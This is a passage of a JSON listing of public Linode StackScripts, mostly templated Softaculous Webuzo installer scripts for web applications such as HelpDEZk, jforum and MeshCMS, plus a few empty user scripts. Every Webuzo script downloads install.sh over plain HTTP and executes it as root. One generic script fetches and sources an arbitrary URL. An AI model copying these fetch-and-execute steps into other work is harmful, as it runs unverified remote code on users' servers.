"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WideImage powered by Webuzo", "description": "WideImage is an object-oriented library for image manipulation.\r\n\r\nThe library provides a simple way to loading, manipulating and saving images in the most common image formats. \r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WideImage and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WideImage powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WideImage and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WideImage :\n# WideImage is an object-oriented library for image manipulation.\n# The library provides a simple way to loading, manipulating and saving images in the most common image formats.\n###########################################################################################################\n\n# Install WideImage Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=360&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WideImage and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WideImage has been successfully installed\"\necho \" \"\necho \"You can now configure WideImage and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9237, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "HelpDEZk powered by Webuzo", "description": "HelpDEZk is a powerfull software that manages requests/incidents. It has all the needed requirements to an efficient workflow management of all processes involved in service execution. This control is done for internal demands and also for outsourced services.\r\n\r\nHelpDEZk can be used at any company''s area, serving as an support to the shared service center concept, beyond the ability to log all the processes and maintain the request''s history, it can pass it through many approval levels.\r\n\r\nHelpDEZk can put together advanced managing resources with an extremely easy use. Simple and intuitive screens make the day-by-day easier for your team, speeding up the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure HelpDEZk and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "HelpDEZk powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install HelpDEZk and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About HelpDEZk :\n# HelpDEZk is a powerfull software that manages requests/incidents.\n# It has all the needed requirements to an efficient workflow management of all processes \n# involved in service execution. This control is done for internal demands and also for outsourced services.\n###########################################################################################################\n\n# Install HelpDEZk Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=457&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling HelpDEZk and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, HelpDEZk has been successfully installed\"\necho \" \"\necho \"You can now configure HelpDEZk and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10261, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SEOTOASTER powered by Webuzo", "description": "SEOTOASTER is the most advanced SEO content management system out of the box, so your website or Ecommerce store performs to the maximum of its abilities when it comes to organic rankings.\r\n\r\nSEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n\nYou can get a Webuzo License here\nhttp://www.webuzo.com/pricing\n\nPath to Installation Logs : /root/webuzo-install.log\n\nInstructions\nOn completion of the installation process, access http://your-ip:2004 to configure SEOTOASTER and Softaculous Webuzo initially.\n\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SEOTOASTER powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SEOTOASTER and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SEOTOASTER :\n# SEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n###########################################################################################################\n\n# Install SEOTOASTER Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=490&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SEOTOASTER and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SEOTOASTER has been successfully installed\"\necho \" \"\necho \"You can now configure SEOTOASTER and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978965, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Testing Update", "description": "testing Update", "ordinal": 0, "logo_url": "", "images": ["linode/arch", "linode/slackware14.2", "linode/debian10", "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "yegiu Update", "script": "#!/bin/bash\n\ntesting Update ", "user_defined_fields": []}, {"id": 8470, "username": "ichal", "user_gravatar_id": "632f7c16a5fd3a66b8909e0153856b49", "label": "jibeg", "description": "aa", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.5"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9238, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Support Incident Tracker powered by Webuzo", "description": "Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk'' or ''Support Ticket System'').\r\n\r\nManage contacts, sites, technical support contracts and support incidents in one place. Send emails directly from SiT!, attach files and record every communication in the incident log. SiT is aware of Service Level Agreements and incidents are flagged if they stray outside of them. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Support Incident Tracker and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Support Incident Tracker powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Support Incident Tracker and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Support Incident Tracker :\n# Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses\n# PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk''\n# or ''Support Ticket System'').\n###########################################################################################################\n\n# Install Support Incident Tracker Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=409&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Support Incident Tracker and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Support Incident Tracker has been successfully installed\"\necho \" \"\necho \"You can now configure Support Incident Tracker and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 928534, "username": "acourdavault", "user_gravatar_id": "66d9a70b3232ec8f2b533584b3299ed8", "label": "db_centos_magic_script", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\t\n\nexec > /var/log/sg-stackscript.log\nexec 2>&1\t\n\nset -x\ncommand -v wget >/dev/null 2>&1 || yum install -y wget || exit 1\ncommand -v dos2unix >/dev/null 2>&1 || yum install -y dos2unix || exit 1\n\ncd ${HOME}\nSCRIPT=$(basename $SCRIPT_URL)\nrm -f ${SCRIPT}\necho \"Copying ${SCRIPT_URL} to ${HOME}\"\nwget --tries=5 ${SCRIPT_URL} && /usr/bin/dos2unix ${SCRIPT} && . ${SCRIPT}\ncd ${HOME} && rm -f ${SCRIPT}", "user_defined_fields": []}, {"id": 9239, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Webasyst powered by Webuzo", "description": "Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites. Webasyst offers a multi-app UI ready for integrating and designing your app, handles user authorization, access rights management, routing setup, and much more. Great for creating web solutions for businesses and teams. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Webasyst and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Webasyst powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Webasyst and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Webasyst :\n# Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites.\n# Webasyst offers a multi-app UI ready for integrating and designing your app, handles user \n# authorization, access rights management, routing setup, and much more.\n# Great for creating web solutions for businesses and teams. \n###########################################################################################################\n\n# Install Webasyst Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=467&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Webasyst and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Webasyst has been successfully installed\"\necho \" \"\necho \"You can now configure Webasyst and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9240, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "jforum powered by Webuzo", "description": "jforum is a powerful and robust discussion board system implemented in Java. It provides an attractive interface, an efficient forum engine, an easy to use administrative panel, an advanced permission control system and much more. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure jforum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "jforum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install jforum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About jforum :\n# jforum is a powerful and robust discussion board system implemented in Java.\n# It provides an attractive interface, an efficient forum engine, an easy to use administrative\n# panel, an advanced permission control system and much more.\n###########################################################################################################\n\n# Install jforum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=423&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling jforum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, jforum has been successfully installed\"\necho \" \"\necho \"You can now configure jforum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 48408, "username": "crooksau", "user_gravatar_id": "f33d8e66bbce5c95fcb2a96dc8a4beaa", "label": "Debian 8 Install", "description": "Debian 8 Install for BODYRUBS.RU", "ordinal": 0, "logo_url": "", "images": ["linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/sh", "user_defined_fields": []}, {"id": 9241, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Admidio powered by Webuzo", "description": "Admidio is a free online membership management, optimized for clubs, groups and organizations. It consists of classical management members from a variety of modules that can be installed and adjusted to a new or existing website.\r\n\r\nRegistered users have your website by Admidio including access to predefined and user-configurable membership lists, people profiles and an Agenda. In addition, members may be pooled in groups are assigned properties and search for it.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Admidio and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Admidio powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Admidio and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Admidio :\n# Admidio is a free online membership management, optimized for clubs, groups and organizations.\n# It consists of classical management members from a variety of modules that can be installed \n# and adjusted to a new or existing website.\n###########################################################################################################\n\n# Install Admidio Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=449&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Admidio and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Admidio has been successfully installed\"\necho \" \"\necho \"You can now configure Admidio and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 12825, "username": "bozuslu", "user_gravatar_id": "67f0a5d0710560fd85e82a39cc71a567", "label": "bayram", "description": "Ek 2", "ordinal": 0, "logo_url": "", "images": ["linode/debian7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9242, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MeshCMS powered by Webuzo", "description": "MeshCMS is an online editing system written in Java. It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages are stored in regular HTML files and all additional features are file-based, without needing a database.\r\n\r\nMeshCMS has been thought as a quick tool to edit pages online, manage files and create some common components like menus, breadcrumbs, mail forms, image galleries and so on.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MeshCMS and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MeshCMS powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MeshCMS and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MeshCMS :\n# MeshCMS is an online editing system written in Java.\n# It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages \n# are stored in regular HTML files and all additional features are file-based, without needing a database.\n###########################################################################################################\n\n# Install MeshCMS Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=385&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MeshCMS and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MeshCMS has been successfully installed\"\necho \" \"\necho \"You can now configure MeshCMS and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14362, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Sensu omnibus package\n#\n# This package contains all of the different Sensu components. Use specific scripts\n# to configure each component on different nodes.\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/configure-repo-sensu.sh\n\napt-get install -yq sensu", "user_defined_fields": []}, {"id": 9243, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Little Software Stats powered by Webuzo", "description": "Little Software Stats is a web application that allows users to monitor their software.\r\n\r\nLittle Software Stats is the first runtime intelligence software released as open source and free. It is designed and developed through MySQL and PHP which will allow most web servers to run it. Little Software Stats allows users to collect information including executions, installations, exceptions, and geographical location.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Little Software Stats and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Little Software Stats powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Little Software Stats and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Little Software Stats :\n# Little Software Stats is a web application that allows users to monitor their software.\n# Little Software Stats is the first runtime intelligence software released as open source and free.\n# It is designed and developed through MySQL and PHP which will allow most web 